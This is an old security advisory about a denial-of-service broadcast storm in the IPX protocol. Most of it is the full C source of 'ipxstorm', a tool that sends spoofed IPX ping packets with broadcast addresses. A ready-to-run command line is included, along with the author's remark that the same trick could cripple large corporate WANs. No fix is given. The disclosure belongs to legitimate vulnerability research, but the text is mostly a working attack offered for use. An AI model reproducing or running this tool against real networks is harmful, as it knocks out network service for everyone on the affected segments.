COMMAND
IPX
SYSTEMS AFFECTED
Read advisory, but those with IPX for sure
PROBLEM
Jacek Lipkowski found following. The IPX protocol has samething
called IPX ping. Sending a packet to socket 0x456 to anything
supporting ipx causes a response to be sent back. If you send a
packet with source and destination addresses set to the ethernet
broadcast address and source and destination socket set to 0x456
everything supporting ipx sends a reply to the broadcast address
(and after that they start talking to each other). The storm ends
when all ipx stacks die off (it can last a few minutes on a small
network up to probably an half hour on a large network). You can
also set the source and destination networks to have a broadcast
storm between them (probably a killer on large corporate WANs,
but remember to set the destination address to the router of the
destination network.
This is really an old school DoS (kind of like sending udp packets
with the source=destination=ip broadcast address and setting the
ports to echo or chargen), only applied to ipx, so it should have
been fixed by now.
Below is some code used to test this under linux (it can only
spoof 802.2 and 802.3 packets, add other types if you wish). It's
best to set all addresses to broadcast and ipx networks to 0
(local ipx network) for starters and fire off tcpdump to see the
fun begin.
Windows 9x seems to be vulnerable, nt doesn't, probably dos
clients running netx or vlm should be affected as well (not
tested).
/* ipxstorm.c copyright by Jacek Lipkowski <sq5bpf@andra.com.pl>
released 02.VI.2000
compiles under linux 2.2 with libc6
(probably the #includes will need changing for libc5)
This program demonstrates how a spoofed "ipx ping" packet can
start a broadcast storm on a network with machines that respond to it.
usage:
./ipxstorm hwsaddr hwdaddr ipxsaddr ipxsnet ipxdaddr ipxdnet packet_type
hwsaddr - ethernet source address
hwdaddr - ethernet destination address
ipxsaddr - ipx source address
ipxdaddr - ipx destination address
ipxsnet - ipx source network
ipxdnet - ipx destination network
packet_type - the IPX packet type - currently 802.2 and 802.3
is implemented (don't have the time to do ethernet_ii or snap)
In IPX if network==0 then it's the local network, so you're probably
interested in:
./ipxstorm ff:ff:ff:ff:ff:ff ff:ff:ff:ff:ff:ff ff:ff:ff:ff:ff:ff 0 ff:ff:ff:ff:ff:ff 0 802.3
rant #1: the same type of vulnerabilities have been present in udp
(like the udp echo/chargen storms) - why didn't someone fix this ?
rant #2: why do switches let packets with source address == broadcast out?
suggestion #1: set the hwsaddr and ipxsaddr to your mac address and run
tcpdump for a nice way to enumerate ipx devices on your network
suggestion #2: could someone add ipx support for libnet?
i know that this code is sloppy :)
use this at your own risk...
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>
#include <linux/if.h>
#include <linux/sockios.h>
#include <stdlib.h>
char pack802_3[] =
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x48\xff\xff"
"\x00\x48\x00\x04\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x04\x56"
"\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x04\x56\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";
char pack802_2[] =
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x30\xe0\xe0"
"\x03\xff\xff\x00\x2d\x00\x04\x00\x00\x00\x00\xff\xff\xff\xff\xff"
"\xff\x04\x56\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x04\x56\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
parse_eth_addr (char *string[], unsigned char *dupa)
{
char *ptr;
int ii = 0;
unsigned char ad[6];
unsigned long dd;
ptr = strtok ((char *) string, ":");
ad[ii] = strtol (ptr, (char **) NULL, 16);
while ((ptr = strtok (0, ":")) && (ptr != 0))
{
ii++;
dd = (unsigned char) strtoul (ptr, (char **) NULL, 16);
ad[ii] = dd;
}
memcpy (dupa, &ad, 6);
}
parse_net_addr (char *string, unsigned char *dupa)
{
unsigned long ii;
ii = htonl (strtoul (string, (char **) NULL, 16));
memcpy (dupa, &ii, 4);
}
see_addr (char *dd[])
{
unsigned char addr[6];
memcpy (&addr, dd, 6);
printf ("%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x", addr[0], addr[1], addr[2],
addr[3], addr[4], addr[5]);
}
see_net (unsigned char *dd[])
{
unsigned char tnet[6];
memcpy (&tnet, dd, 4);
printf ("%2.2x%2.2x%2.2x%2.2x", tnet[0], tnet[1], tnet[2], tnet[3]);
}
/* ripped from linsniffer.c */
int
openintf (char *d)
{
int fd;
struct ifreq ifr;
int s;
fd = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ALL));
if (fd < 0)
{
perror ("cant get SOCK_PACKET socket");
exit (0);
}
strcpy (ifr.ifr_name, d);
s = ioctl (fd, SIOCGIFFLAGS, &ifr);
if (s < 0)
{
close (fd);
perror ("cant get flags");
exit (0);
}
// ifr.ifr_flags |= IFF_PROMISC;
s = ioctl (fd, SIOCSIFFLAGS, &ifr);
// if(s < 0) perror("cant set promiscuous mode");
return fd;
}
main (int argc, char *argv[])
{
int s;
int x;
unsigned char buf[2000];
int z;
struct sockaddr sa;
char hwsaddr[40];
char hwdaddr[6];
char ipxsaddr[16];
char ipxdaddr[6];
char ipxsnet[4];
char ipxdnet[4];
int ok = 0;
if (argc < 8)
{
printf
("ipxstorm hwsaddr hwdaddr ipxsaddr ipxsnet ipxdaddr ipxdnet [802.3|802.2]\n");
exit (1);
}
parse_eth_addr (argv[1], (char *) &hwsaddr);
printf ("ether source address : ");
see_addr ((char *) &hwsaddr);
printf ("\n");
parse_eth_addr (argv[2], (char *) &hwdaddr);
printf ("ether dest address : ");
see_addr ((char *) &hwdaddr);
printf ("\n");
parse_eth_addr (argv[3], (char *) &ipxsaddr);
parse_net_addr (argv[4], (char *) &ipxsnet);
printf ("ipx source address : ");
see_addr ((char *) &ipxsaddr);
printf (" | ");
see_net ((char *) &ipxsnet);
printf ("\n");
parse_eth_addr (argv[5], (char *) &ipxdaddr);
parse_net_addr (argv[6], (char *) &ipxdnet);
printf ("ipx dest address : ");
see_addr ((char *) &ipxdaddr);
printf (" | ");
see_net ((char *) &ipxdnet);
printf ("\n");
s = openintf ("eth0");
memset (&sa, 0, sizeof (sa));
strncpy (sa.sa_data, "eth0", sizeof (sa.sa_data));
if (strcmp (argv[7], "802.3") == 0)
{
ok = 1;
memcpy (&pack802_3, &hwdaddr, 6);
memcpy ((char *) &pack802_3 + 6, &hwsaddr, 6);
memcpy ((char *) &pack802_3 + 0x18, &ipxdaddr, 6);
memcpy ((char *) &pack802_3 + 0x24, &ipxsaddr, 6);
memcpy ((char *) &pack802_3 + 0x14, &ipxdnet, 4);
memcpy ((char *) &pack802_3 + 0x20, &ipxsnet, 4);
z = sendto (s, &pack802_3, sizeof (pack802_3), 0, &sa, sizeof (sa));
}
if (strcmp (argv[7], "802.2") == 0)
{
ok = 1;
memcpy (&pack802_2, &hwdaddr, 6);
memcpy ((char *) &pack802_2 + 6, &hwsaddr, 6);
memcpy ((char *) &pack802_2 + 0x1b, &ipxdaddr, 6);
memcpy ((char *) &pack802_2 + 0x27, &ipxsaddr, 6);
memcpy ((char *) &pack802_2 + 0x17, &ipxdnet, 4);
memcpy ((char *) &pack802_2 + 0x23, &ipxsnet, 4);
z = sendto (s, &pack802_2, sizeof (pack802_2), 0, &sa, sizeof (sa));
}
if (!ok)
printf ("unknown ipx packet type (hint: implement it)\n");
close (s);
exit (0);
}
SOLUTION
Nothing yet.